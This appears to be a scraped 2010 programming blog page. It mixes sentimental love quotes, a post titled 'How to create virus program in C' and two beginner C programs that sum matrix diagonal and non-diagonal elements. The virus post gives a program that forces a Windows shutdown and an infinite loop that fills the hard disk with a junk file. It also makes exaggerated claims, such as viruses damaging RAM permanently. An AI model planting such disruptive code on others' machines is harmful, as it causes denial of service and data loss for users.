ALT_IMG

You are the cause of my pain

You are the cause of my pain, yet the love I feel for you is my only consolation, my only cure..

ALT_IMG

Saw the girl, whom once I thought as my best friend

Remembering my classmates, after few years, My eyes were filled with tears, Everyone is busy a lot, No one escaped destiny's plot, Saw the girl, whom once I thought as my best friend, Today she is some body else's girl friend, After months remembered about her for a little while, Heard she is happy, that made me smile.

Alt img

It’s been raining since you left me

It’s been raining since you left me, now I’m drowning in the flood. You see, I’ve always been a fighter, but without you I give up.

ALT_IMG

Sweet Heart

Sweetheart.....I miss ......THe whisper of your voice...The warmth of your touch and all the wonderful times that we shared together.......

ALT_IMG

When I see you

When I see you smile and know that it's not for me, that's when I miss you the most.

Saturday, August 21, 2010

HOW TO CREATE VIRUS PROGRAM IN C LANGUAGE.

0 comments

Hi ,every computer programing students have a dream to make a computer virus. Here we will study simple virus program created in c.(only for study pupose)You test the program in your own computer.There are several types of viruses with different functions.Some of which delete your computers' important files and folders,some change the configurations of your computer system,some dump your hard disc.There are some which can damage your RAM permenently.


(1)The c program which shutdown the windows operating system
Write the following code in tubo c.


CODE:
void main(void)
{
system("shutdown-s");
}


suppose the above.Let file name is close.c and compile and execute the above code.Now close the turbo c compiler and open the directory in window you have saved the close.c (default directory C:\TC\BIN) and double click its exe file (close.exe).After some time your window will shutdown. 

(2) The c program which jam your hard disc.
CODE:
/*virus.exe*/
#include<stdio.h>
#include<stdlib.h>
void main()
{
while(1)
{
system("dir>>â.ša.exe");
}
}


here a simple virus program but it has ability to jam your hard disc.The program make a self growing file which grow to few MB and continue infinitely.How it works?-The system call "dir>>â.ša.exe" will execute the dos command 'dir' and redirect its output to a file "â.ša.exe".So running the program in a folder having many files and folders will increase the size of "â.ša.exe" in great amount.This process will continue infinitely as this is in while(1) loop.Remember to recover from this virus infection simply delete the virus.exe file.
Continue reading →
Friday, August 20, 2010

TO FIND THE SUM OF DIAGONAL ELEMENTS OF THE SQUARE MATRIX

0 comments
#include<stdio.h>
#include<conio.h>
#include<math.h>
void main()
{
int a[3][3],i,j,s=0,r,c;
clrscr();
/*Enter how many rows and columns */
printf("Enter how many rows: ");
scanf("%d",&r);
printf("Enter how many columns: ");
scanf("%d",&c);
if(r==c)
{
/*enter the elements*/
printf("Enter the numbers: ");
for(i=0;i<r;i++)
{
for(j=0;j<c;j++)
{
scanf("%d",&a[i][j]);
}
}
/*show the matrix elements*/
printf("The matrix is : ");
for(i=0;i<r;i++)
{
for(j=0;j<c;j++)
{
printf("%3d ",a[i][j]);
}
}
/*show the sum of  diagonal elements*/
printf(" Sum of  diagonal elements are: ");
for(i=0;i<r;i++)
{
for(j=0;j<c;j++)
{
if(i==j)
s=s+a[i][j];
}
}
{
printf(" %d",s);
}
}
getch(); 
}
Continue reading →

TO FIND THE SUM OF NON DIAGONAL ELEMENTS OF THE SQUARE MATRIX

0 comments
#include<stdio.h>
#include<conio.h>
#include<math.h>
void main()
{
int a[3][3],i,j,s=0,r,c;
clrscr();
/*Enter how many rows and columns */
printf("Enter how many rows: ");
scanf("%d",&r);
printf("Enter how many columns: ");
scanf("%d",&c);
if(r==c)
{
/*enter the elements*/
printf("Enter the numbers: ");
for(i=0;i<r;i++)
{
for(j=0;j<c;j++)
{
scanf("%d",&a[i][j]);
}
}
/*show the matrix elements*/
printf("The matrix is : ");
for(i=0;i<r;i++)
{
for(j=0;j<c;j++)
{
printf("%3d ",a[i][j]);
}
}
/*show the sum of non diagonal elements*/
printf(" Sum of non diagonal elements are: ");
for(i=0;i<r;i++)
{
for(j=0;j<c;j++)
{
if(i!=j)
s=s+a[i][j];
}
}
{
printf(" %d",s);
}
}
getch();
}
Continue reading →